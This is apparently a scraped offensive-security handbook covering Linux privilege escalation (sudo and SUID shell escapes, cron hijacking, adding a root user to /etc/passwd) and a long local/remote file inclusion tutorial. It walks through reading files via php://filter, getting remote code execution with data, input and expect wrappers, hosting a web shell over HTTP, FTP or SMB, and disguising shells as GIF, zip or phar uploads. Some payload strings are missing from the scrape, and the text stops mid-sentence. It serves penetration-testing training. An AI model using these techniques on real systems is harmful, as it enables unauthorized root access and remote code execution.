# Attacks Source: https://hackbook.dudji.com/attacks/index Vulnerability-first thinking — attack techniques organized by type and target. The Attacks section documents specific offensive techniques, organized by attack category. Each entry covers the **concept, conditions, exploitation method, and mitigation** for reference. Web application attacks — LFI, SQLi, XSS, SSRF, and more. Linux and Windows privilege escalation techniques. # Privilege Escalation Source: https://hackbook.dudji.com/attacks/privilege-escalation/index Escalate from low-privilege user to root or SYSTEM. Privilege escalation involves exploiting misconfigurations, vulnerabilities, or weak permissions to **elevate access** from a limited user to a privileged one. SUID, sudo misconfigs, cron jobs, capabilities, and kernel exploits. Token impersonation, service exploits, registry, and AlwaysInstallElevated. # Linux Privilege Escalation Source: https://hackbook.dudji.com/attacks/privilege-escalation/linux Common Linux privilege escalation techniques — from enumeration to root. ## Automated Enumeration Always run an automated script first to get a lay of the land. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # LinPEAS - comprehensive enum curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh # linux-smart-enumeration ./lse.sh -l 2 ``` ## Sudo Misconfigurations ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check sudo permissions sudo -l # If a binary is listed → check GTFOBins # Example: sudo find sudo find . -exec /bin/sh \; -quit # sudo vim → :!/bin/bash # sudo python → import os; os.system('/bin/bash') ``` ## SUID Binaries ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find SUID binaries find / -perm -4000 -type f 2>/dev/null # Check against GTFOBins # Example: /usr/bin/find with SUID find . -exec /bin/sh -p \; -quit ``` ## Cron Jobs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View cron jobs cat /etc/crontab ls -la /etc/cron.* crontab -l # Look for writable scripts run by root # If /etc/cron.d/backup runs /opt/backup.sh → overwrite it echo "chmod +s /bin/bash" >> /opt/backup.sh # Wait for cron to run, then: bash -p ``` ## Writable /etc/passwd ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Generate password hash openssl passwd -1 -salt abc password123 # Append new root user echo 'hacker:$1$abc$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd su hacker ``` ## Capabilities ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find binaries with capabilities getcap -r / 2>/dev/null # Example: python3 with cap_setuid python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ## Kernel Exploits ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Get kernel version uname -a cat /proc/version # Search for exploits searchsploit linux kernel 4.4 # Common: DirtyCow (CVE-2016-5195) # Common: PwnKit (CVE-2021-4034) ``` Always try manual vectors before jumping to kernel exploits — they can crash the system. # Web Attacks Source: https://hackbook.dudji.com/attacks/web/index Web application attack techniques — vulnerability-first thinking. Exploit LFI to read sensitive files, achieve RCE via log poisoning, and more. Classic and blind SQLi — from data extraction to OS command execution. CMS fingerprinting, WPScan workflows, plugin abuse, and common attack paths. # Local File Inclusion Source: https://hackbook.dudji.com/attacks/web/local-file-inclusion Exploit LFI vulnerabilities to read files, leak credentials, and achieve remote code execution. The most common place we usually find LFI is in templating engines. In order to have most of the web application looking the same when navigating between pages, a templating engine displays a page that shows the common static parts, such as the header, navigation bar, and footer, and then dynamically loads other content that changes between pages. Templating engine diagram This is why we often see a parameter like `/index.php?page=about`, where `index.php` sets static content (e.g. header/footer), and then only pulls the dynamic content specified in the parameter, which in this case may be read from a file called `about.php`. As we have control over the `about` portion of the request, it may be possible to have the web application grab other files and display them on the page. ## Vulnerable Code File Inclusion vulnerabilities can occur in many of the most popular web servers and development frameworks, like PHP, NodeJS, Java, .Net, and many others. Each of them has a slightly different approach to including local files, but they all share one common thing: loading a file from a specified path. ### PHP In PHP, we may use the `include()` function to load a local or a remote file as we load a page. If the path passed to the `include()` is taken from a user-controlled parameter, like a GET parameter, and the code does not explicitly filter and sanitize the user input, then the code becomes vulnerable to File Inclusion. The following code snippet shows an example of that: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if (isset($_GET['language'])) { include($_GET['language']); } ``` There are many other PHP functions that would lead to the same vulnerability if we had control over the path passed into them. Such functions include `include_once()`, `require()`, `require_once()`, `file_get_contents()`, and several others as well. ### NodeJS The following is a basic example of how a GET parameter `language` is used to control what data is written to a page: ```javascript theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if(req.query.language) { fs.readFile(path.join(__dirname, req.query.language), function (err, data) { res.write(data); }); } ``` As we can see, whatever parameter passed from the URL gets used by the `readfile` function, which then writes the file content in the HTTP response. Another example is the `render()` function in the Express.js framework. The following example shows how the `language` parameter is used to determine which directory to pull the `about.html` page from: ```javascript theme={"theme":{"light":"github-light","dark":"tokyo-night"}} app.get("/about/:language", function(req, res) { res.render(`/${req.params.language}/about.html`); }); ``` Unlike our earlier examples where GET parameters were specified after a `?` character in the URL, the above example takes the parameter from the URL path (e.g. `/about/en` or `/about/es`). As the parameter is directly used within the `render()` function to specify the rendered file, we can change the URL to show a different file instead. ### Java The following examples show how web applications for a Java web server may include local files based on the specified parameter, using the `include` function: ```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ``` The `import` function may also be used to render a local file or a URL, such as the following example: ```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ``` ### .NET The `Response.WriteFile` function works very similarly to all of our earlier examples, as it takes a file path for its input and writes its content to the response. The path may be retrieved from a GET parameter for dynamic content loading, as follows: ```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}} @if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) { <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> } ``` Furthermore, the `@Html.Partial()` function may also be used to render the specified file as part of the front-end template, similarly to what we saw earlier: ```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}} @Html.Partial(HttpContext.Request.Query['language']) ``` Finally, the `include` function may be used to render local files or remote URLs, and may also execute the specified files as well: ```asp theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ``` ### Read vs Execute From all of the above examples, we can see that File Inclusion vulnerabilities may occur in any web server and any development frameworks, as all of them provide functionalities for loading dynamic content and handling front-end templates. The most important thing to keep in mind is that some of the above functions only read the content of the specified files, while others also execute the specified files. Furthermore, some of them allow specifying remote URLs, while others only work with files local to the back-end server. The following table shows which functions may execute files and which only read file content: | Function | Read Content | Execute | Remote URL | | ------------------------------ | ------------ | ------- | ---------- | | **PHP** | | | | | `include()` / `include_once()` | ✓ | ✓ | ✓ | | `require()` / `require_once()` | ✓ | ✓ | ✗ | | `file_get_contents()` | ✓ | ✗ | ✓ | | `fopen()` / `file()` | ✓ | ✗ | ✗ | | **NodeJS** | | | | | `fs.readFile()` | ✓ | ✗ | ✗ | | `fs.sendFile()` | ✓ | ✗ | ✗ | | `res.render()` | ✓ | ✓ | ✗ | | **Java** | | | | | `include` | ✓ | ✗ | ✗ | | `import` | ✓ | ✓ | ✓ | | **.NET** | | | | | `@Html.Partial()` | ✓ | ✗ | ✗ | | `@Html.RemotePartial()` | ✓ | ✗ | ✓ | | `Response.WriteFile()` | ✓ | ✗ | ✗ | | `include` | ✓ | ✓ | ✓ | ## Path Traversal In the earlier example, we read a file by specifying its absolute path (e.g. `/etc/passwd`). This would work if the whole input was used within the `include()` function without any additions, like the following example: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} include($_GET['language']); ``` In this case, if we try to read `/etc/passwd`, then the `include()` function would fetch that file directly. However, in many occasions, web developers may append or prepend a string to the `language` parameter. For example, the language parameter may be used for the filename, and may be added after a directory, as follows: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} include("./languages/" . $_GET['language']); ``` In this case, if we attempt to read `/etc/passwd`, then the path passed to `include()` would be `(./languages//etc/passwd)`, and as this file does not exist, we will not be able to read anything: Path traversal error We can easily bypass this restriction by traversing directories using relative paths. So, we can use this trick to go back several directories until we reach the root path (i.e. `/`), and then specify our absolute file path (e.g. `../../../../etc/passwd`), and the file should exist. ### Filename Prefix On some occasions, our input may be appended after a different string. For example, it may be used with a prefix to get the full filename, like the following example: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} include("lang_" . $_GET['language']); ``` In this case, if we try to traverse the directory with `../../../etc/passwd`, the final string would be `lang_../../../etc/passwd`, which is invalid. Filename prefix error As expected, the error tells us that this file does not exist. So, instead of directly using path traversal, we can prefix a `/` before our payload, and this should consider the prefix as a directory. This may not always work, as in this example a directory named `lang_/` may not exist, so our relative path may not be correct. ### Appended Extensions Another very common example is when an extension is appended to the `language` parameter, as follows: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} include($_GET['language'] . ".php"); ``` This may also be safer as it may restrict us to only including PHP files. In this case, if we try to read `/etc/passwd`, then the file included would be `/etc/passwd.php`, which does not exist. With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful e.g. for reading source code. There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4. However, it may still be beneficial to mention them, as some web applications may still be running on older servers, and these techniques may be the only bypasses possible. #### Path Truncation In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call `(/etc/passwd/.)` then the `/.` would also be truncated, and PHP would call `(/etc/passwd)`. PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. `////etc/passwd` is the same as `/etc/passwd`). Similarly, a current directory shortcut (`.`) in the middle of the path would also be disregarded (e.g. `/etc/./passwd`). If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (`.php`) would be truncated, and we would have a path without an appended extension. Finally, it is also important to note that we would also need to start the path with a non-existing directory for this technique to work. An example of such payload would be the following: ``` ?language=non_existing_directory/../../../etc/passwd/./././././ [REPEATED ~2048 times] ``` Of course, we don't have to manually type `./` 2048 times (total of 4096 characters), but we can automate the creation of this string with the following command: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done non_existing_directory/../../../etc/passwd/./././././././ ``` #### Null Bytes PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (`%00`) at the end of the string would terminate the string and not consider anything after it. This is due to how strings are stored in low-level memory, where strings in memory must use a null byte to indicate the end of the string, as seen in Assembly, C, or C++ languages. To exploit this vulnerability, we can end our payload with a null byte (e.g. `/etc/passwd%00`), such that the final path passed to `include()` would be `(/etc/passwd%00.php)`. This way, even though `.php` is appended to our string, anything after the null byte would be truncated, and so the path used would actually be `/etc/passwd`, leading us to bypass the appended extension. ## Second-Order Attacks Another common, and a little bit more advanced, LFI attack is a Second Order Attack. For example, a web application may allow us to download our avatar through a URL like `(/profile/$username/avatar.png)`. If we craft a malicious LFI username (e.g. `../../../etc/passwd`), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar. ## Basic Bypasses ### Non-Recursive Path Traversal Filters One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of `(../)` to avoid path traversals. For example: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} $language = str_replace('../', '', $_GET['language']); ``` The above code is supposed to prevent path traversal, and hence renders LFI useless. Non-recursive filter bypass We see that all `../` substrings were removed, which resulted in a final path being `./languages/etc/passwd`. However, this filter is very insecure, as it is not recursively removing the `../` substring, as it runs a single time on the input string and does not apply the filter on the output string. For example, if we use `....//` as our payload, then the filter would remove `../` and the output string would be `../`, which means we may still perform path traversal. The `....//` substring is not the only bypass we can use, as we may use `..././` or `....\/` and several other recursive LFI payloads. Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. `....\/`), or adding extra forward slashes (e.g. `....////`) ### Encoding Some web filters may prevent input filters that include certain LFI-related characters, like a dot `.` or a slash `/` used for path traversals. However, some of these filters may be bypassed by URL encoding our input, such that it would no longer include these bad characters, but would still be decoded back to our path traversal string once it reaches the vulnerable function. Core PHP filters on versions 5.3.4 and earlier were specifically vulnerable to this bypass, but even on newer versions we may find custom filters that may be bypassed through URL encoding. If the target web application did not allow `.` and `/` in our input, we can URL encode `../` into `%2e%2e%2f`, which may bypass the filter. To do so, we can use any online URL encoder utility or use the Burp Suite Decoder tool, as follows: URL encoding with Burp Decoder Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded string, which may also bypass other types of filters. ### Approved Paths Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path. For example, the web application we have been dealing with may only accept paths that are under the `./languages` directory, as follows: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) { include($_GET['language']); } else { echo 'Illegal path specified!'; } ``` This regex means: * `^` = start of the string * `\.\/languages\/` = literally `./languages/` * `.+` = at least one character after that * `$` = end of the string So the app is saying: *"I will only include files whose path starts with `./languages/`."* Example "legit" inputs: ``` ./languages/en.php ./languages/fr.php ``` If you give `/etc/passwd` it fails because it doesn't start with `./languages/`. ## PHP Filters If we identify an LFI vulnerability in PHP web applications, then we can utilize different PHP Wrappers to be able to extend our LFI exploitation, and even potentially reach remote code execution. PHP Wrappers allow us to access different I/O streams at the application level, like standard input/output, file descriptors, and memory streams. This is not only beneficial with LFI attacks, but also with other web attacks like XXE. ### Input Filters PHP Filters are a type of PHP wrapper, where we can pass different types of input and have it filtered by the filter we specify. To use PHP wrapper streams, we can use the `php://` scheme in our string, and we can access the PHP filter wrapper with `php://filter/`. The filter wrapper has several parameters, but the main ones we require for our attack are `resource` and `read`. The `resource` parameter is required for filter wrappers, and with it we can specify the stream we would like to apply the filter on (e.g. a local file), while the `read` parameter can apply different filters on the input resource, so we can use it to specify which filter we want to apply on our resource. There are four different types of filters available for use, which are String Filters, Conversion Filters, Compression Filters, and Encryption Filters. The filter that is useful for LFI attacks is the `convert.base64-encode` filter, under Conversion Filters. #### Fuzzing for PHP Files The first step would be to fuzz for different available PHP pages with a tool like `ffuf` or `gobuster`. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://:/FUZZ.php ...SNIP... index [Status: 200, Size: 2652, Words: 690, Lines: 64] config [Status: 302, Size: 0, Words: 1, Lines: 1] ``` #### Standard PHP Inclusion If you tried to include any php files through LFI, you would have noticed that the included PHP file gets executed, and eventually gets rendered as a normal HTML page. For example, let's try to include the `config.php` page (`.php` extension appended by web application): Standard PHP inclusion - empty result As we can see, we get an empty result in place of our LFI string, since the `config.php` most likely only sets up the web app configuration and does not render any HTML output. This is where the base64 php filter gets useful, as we can use it to base64 encode the php file, and then we would get the encoded source code instead of having it being executed and rendered. ### Source Code Disclosure Let's try to read the source code of `config.php` using the base64 filter, by specifying `convert.base64-encode` for the `read` parameter and `config` for the `resource` parameter, as follows: ``` php://filter/read=convert.base64-encode/resource=config ``` Source code disclosure via base64 filter We intentionally left the resource file at the end of our string, as the `.php` extension is automatically appended to the end of our input string, which would make the resource we specified be `config.php`. We can now decode this string to get the content of the source code of `config.php`, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d ...SNIP... if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) { header('HTTP/1.0 403 Forbidden', TRUE, 403); die(header('location: /index.php')); } ...SNIP... ``` ## PHP Wrappers We will utilize different PHP Wrappers to gain remote code execution. ### Data The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the `(allow_url_include)` setting is enabled in the PHP configurations. So, let's first confirm whether this setting is enabled, by reading the PHP configuration file through the LFI vulnerability. #### Checking PHP Configurations To do so, we can include the PHP configuration file found at `(/etc/php/X.Y/apache2/php.ini)` for Apache or at `(/etc/php/X.Y/fpm/php.ini)` for Nginx, where X.Y is your install PHP version. We can start with the latest PHP version, and try earlier versions if we couldn't locate the configuration file. We will also use the base64 filter we used in the previous section, as `.ini` files are similar to `.php` files and should be encoded to avoid breaking. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl "http://:/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" ...SNIP...

Containers

W1BIUF0KCjs7Ozs7Ozs7O ...SNIP... 4KO2ZmaS5wcmVsb2FkPQo=

``` Once we have the base64 encoded string, we can decode it and grep for `allow_url_include` to see its value: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include allow_url_include = On ``` We see that we have this option enabled, so we can use the data wrapper. Knowing how to check for the `allow_url_include` option can be very important, as this option is not enabled by default, and is required for several other LFI attacks, like using the input wrapper or for any RFI attack. **Remote Code Execution** With `allow_url_include` enabled, we can proceed with our data wrapper attack. We can also pass it base64 encoded strings with `text/plain;base64`, and it has the ability to decode them and execute the PHP code. So, our first step would be to base64 encode a basic PHP web shell, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo '' | base64 PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== ``` Now, we can URL encode the base64 string, and then pass it to the data wrapper with `data://text/plain;base64,`. Finally, we can use pass commands to the web shell with `&cmd=`: ``` http://:/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id ``` Data wrapper RCE We may also use cURL for the same attack, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s 'http://:/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Input Similar to the data wrapper, the input wrapper can be used to include external input and execute PHP code. The difference between it and the data wrapper is that we pass our input to the input wrapper as a POST request's data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, the input wrapper also depends on the `allow_url_include` setting, as mentioned earlier. To repeat our earlier attack but with the input wrapper, we can send a POST request to the vulnerable URL and add our web shell as POST data. To execute a command, we would pass it as a GET parameter, as we did in our previous attack: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s -X POST --data '' "http://:/index.php?language=php://input&cmd=id" | grep uid uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use `$_REQUEST`). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. ``) ### Expect Finally, we may utilize the expect wrapper, which allows us to directly run commands through URL streams. Expect works very similarly to the web shells we've used earlier, but don't need to provide a web shell, as it is designed to execute commands. However, expect is an external wrapper, so it needs to be manually installed and enabled on the back-end server, though some web apps rely on it for their core functionality, so we may find it in specific cases. We can check whether it is configured to load on the back-end server just like we did with `allow_url_include` earlier, but we'd grep for `expect` instead: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect extension=expect ``` As we can see, the `extension=expect` directive is present in the configuration, which indicates the server is configured to attempt to load the expect extension. However, this doesn't guarantee the extension is actually functional at runtime, as it could fail to load due to a multitude of reasons. Therefore, to confirm that it is actually available, we need to test it directly by attempting command execution using the `expect://` wrapper and then passing the command we want to execute, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl -s "http://:/index.php?language=expect://id" | grep uid uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Remote File Inclusion (RFI) So far, we have been mainly focusing on Local File Inclusion (LFI). However, in some cases, we may also be able to include remote files "Remote File Inclusion (RFI)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits: * Enumerating local-only ports and web applications (i.e. SSRF) * Gaining remote code execution by including a malicious script that we host We will cover how to gain remote code execution through RFI vulnerabilities. The Server-side Attacks module covers various SSRF techniques, which may also be used with RFI vulnerabilities. ### Local vs. Remote File Inclusion If we refer to the table, we see that the following are some of the functions that (if vulnerable) would allow RFI: | Function | Read Content | Execute | Remote URL | | ------------------------------ | ------------ | ------- | ---------- | | **PHP** | | | | | `include()` / `include_once()` | ✓ | ✓ | ✓ | | `file_get_contents()` | ✓ | ✗ | ✓ | | **Java** | | | | | `import` | ✓ | ✓ | ✓ | | **.NET** | | | | | `@Html.RemotePartial()` | ✓ | ✗ | ✓ | | `include` | ✓ | ✓ | ✓ | As we can see, almost any RFI vulnerability is also an LFI vulnerability, as any function that allows including remote URLs usually also allows including local ones. However, an LFI may not necessarily be an RFI. This is primarily because of three reasons: 1. The vulnerable function may not allow including remote URLs 2. You may only control a portion of the filename and not the entire protocol wrapper (ex: `http://`, `ftp://`, `https://`) 3. The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default Furthermore, some functions do allow including remote URLs but do not allow code execution. In this case, we would still be able to exploit the vulnerability to enumerate local ports and web applications through SSRF. ### Verify RFI Any remote URL inclusion in PHP would require the `allow_url_include` setting to be enabled. We can check whether this setting is enabled through LFI, as we did in the previous section: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include allow_url_include = On ``` However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL, and see if we can get its content. At first, we should always start by trying to include a local URL to ensure our attempt does not get blocked by a firewall or other security measures. So, let's use `(http://127.0.0.1:80/index.php)` as our input string and see if it gets included: RFI verified with local URL The page is indeed vulnerable to RFI, as we are able to include URLs. Furthermore, the `index.php` page did not get included as source code text but got executed and rendered as PHP, so the vulnerable function also allows PHP execution, which may allow us to execute code if we include a malicious PHP script that we host on our machine. We also see that we were able to specify port 80 and get the web application on that port. If the back-end server hosted any other local web applications (e.g. port 8080), then we may be able to access them through the RFI vulnerability by applying SSRF techniques on it. It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server. ### Remote Code Execution with RFI We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell as we did in the previous section, which is what we will do in this case: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo '' > shell.php ``` Now, all we need to do is host this script and include it through the RFI vulnerability. It is a good idea to listen on a common HTTP port like 80 or 443, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service, as we will see next. #### HTTP Now, we can start a server on our machine with a basic python server with the following command, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo python3 -m http.server Serving HTTP on 0.0.0.0 port (http://0.0.0.0:/) ... ``` Now, we can include our local shell through RFI, like we did earlier, but using `` and our ``. We will also specify the command to be executed with `&cmd=id`: ``` http://:/index.php?language=http://:/shell.php&cmd=id ``` RFI via HTTP As we can see, we did get a connection on our python server, and the remote shell was included, and we executed the specified command. We can examine the connection on our machine to ensure the request is being sent as we specified it. For example, if we saw an extra extension (`.php`) was appended to the request, then we can omit it from our payload. #### FTP As mentioned earlier, we may also host our script through the FTP protocol. We can start a basic FTP server with Python's pyftpdlib, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo python -m pyftpdlib -p 21 [SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<< [SNIP] concurrency model: async [SNIP] masquerade (NAT) address: None [SNIP] passive ports: None ``` This may also be useful in case http ports are blocked by a firewall or the `http://` string gets blocked by a WAF. To include our script, we can repeat what we did earlier, but use the `ftp://` scheme in the URL, as follows: ``` http://:/index.php?language=ftp:///shell.php&cmd=id ``` RFI via FTP This worked very similarly to our http attack, and the command was executed. By default, PHP tries to authenticate as an anonymous user. If the server requires valid authentication, then the credentials can be specified in the URL, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl 'http://:/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id' ...SNIP... uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` #### SMB If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the `allow_url_include` setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion. This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path. We can spin up an SMB server using Impacket's `smbserver.py`, which allows anonymous authentication by default, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ impacket-smbserver -smb2support share $(pwd) Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed ``` Now, we can include our script by using a UNC path (e.g. `\\\share\shell.php`), and specify the command with `(&cmd=whoami)` as we did earlier: ``` http://:/index.php?language=\\\share\shell.php&cmd=whoami ``` RFI via SMB As we can see, this attack works in including our remote script, and we do not need any non-default settings to be enabled. This technique is more likely to work if we were on the same network, as accessing remote SMB servers over the internet may be disabled by default, depending on the Windows server configurations. ## LFI and File Uploads The File Upload Attacks module covers different techniques on how to exploit file upload forms and functionalities. However, for the attack we are going to discuss in this section, we do not require the file upload form to be vulnerable, but merely allow us to upload files. If the vulnerable function has code Execute capabilities, then the code within the file we upload will get executed if we include it, regardless of the file extension or file type. For example, we can upload an image file (e.g. `image.jpg`), and store a PHP web shell code within it instead of image data, and if we include it through the LFI vulnerability, the PHP code will get executed and we will have remote code execution. As mentioned in the first section, the following are the functions that allow executing code with file inclusion, any of which would work with this section's attacks: | Function | Read Content | Execute | Remote URL | | ------------------------------ | ------------ | ------- | ---------- | | **PHP** | | | | | `include()` / `include_once()` | ✓ | ✓ | ✓ | | `require()` / `require_once()` | ✓ | ✓ | ✗ | | **NodeJS** | | | | | `res.render()` | ✓ | ✓ | ✗ | | **Java** | | | | | `import` | ✓ | ✓ | ✓ | | **.NET** | | | | | `include` | ✓ | ✓ | ✓ | ### Crafting Malicious Image Our first step is to create a malicious image containing a PHP web shell code that still looks and works as an image. So, we will use an allowed image extension in our file name (e.g. `shell.gif`), and should also include the image magic bytes at the beginning of the file content (e.g. `GIF8`), just in case the upload form checks for both the extension and content type as well. We can do so as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo 'GIF8' > shell.gif ``` This file on its own is completely harmless and would not affect normal web applications in the slightest. However, if we combine it with an LFI vulnerability, then we may be able to reach remote code execution. Now, we need to upload our malicious image file. To do so, we can go to the Profile Settings page and click on the avatar image to select our image, and then click on upload and our image should get successfully uploaded: File upload success ### Uploaded File Path Once we've uploaded our file, all we need to do is include it through the LFI vulnerability. To include the uploaded file, we need to know the path to our uploaded file. In most cases, especially with images, we would get access to our uploaded file and can get its path from its URL. In our case, if we inspect the source code after uploading the image, we can get its URL: ```html theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ``` With the uploaded file path at hand, all we need to do is to include the uploaded file in the LFI vulnerable function, and the PHP code should get executed, as follows: ``` http://:/index.php?language=./profile_images/shell.gif&cmd=id ``` LFI executing uploaded shell ### Zip Upload We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo '' > shell.php && zip shell.jpg shell.php ``` Even though we named our zip archive as `(shell.jpg)`, some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed. Once we upload the `shell.jpg` archive, we can include it with the zip wrapper as `(zip://shell.jpg)`, and then refer to any files within it with `#shell.php` (URL encoded). Finally, we can execute commands as we always do with `&cmd=id`, as follows: ``` http://:/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id ``` Zip upload RCE As we can see, this method also works in executing commands through zipped PHP scripts. ### Phar Upload Finally, we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} startBuffering(); $phar->addFromString('shell.txt', ''); $phar->setStub(''); $phar->stopBuffering(); ``` This script can be compiled into a phar file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a phar file and rename it to `shell.jpg` as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg ``` Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with `(&cmd=id)`, as follows: Phar upload RCE There is another (obsolete) LFI/uploads attack worth noting, which occurs if file uploads is 